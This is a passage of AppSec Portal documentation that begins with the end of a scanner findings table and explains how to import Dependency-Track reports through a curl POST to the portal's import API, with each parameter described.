│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Match Position │ 1331 - 1357                                                                                 │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Line Number(s) │ 46                                                                                          │                                       │
│              │ ├────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────┤                                       │
│              │ │ Match String   │ onReceivedSslError(WebView                                                                  │                                       │
│              │ ╘════════════════╧═════════════════════════════════════════════════════════════════════════════════════════════╛                                       │
╘══════════════╧════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╛
```


# Other Scanners

This section provides information on various tools and reports that are designed to handle specific or customized queries and data that may not fit into standard scanning categories.


# Dependency-Track

**AppSec Portal Importer Name**: Dependency-Track

[**Dependency-Track** ](https://github.com/DependencyTrack/dependency-track)is an intelligent Component Analysis platform that allows organizations to identify and reduce risk in the software supply chain.

#### Curl example

{% code overflow="wrap" %}

```
curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./mobsfscan.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Dependency-Track" -F "branch=dev" 
```

{% endcode %}

In this command, the following parameters are used:

1. `-X POST`: specifies the HTTP method to be used (in this case, POST)
2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal.
3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request.
4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner.
5. `-F "product_name="`: specifies the **name of the product** being scanned.
6. `-F "product_type="`: specifies the **type of the product** being scanned.
7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Dependency-Track)
8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch




---

[Next Page](/llms-full.txt/1)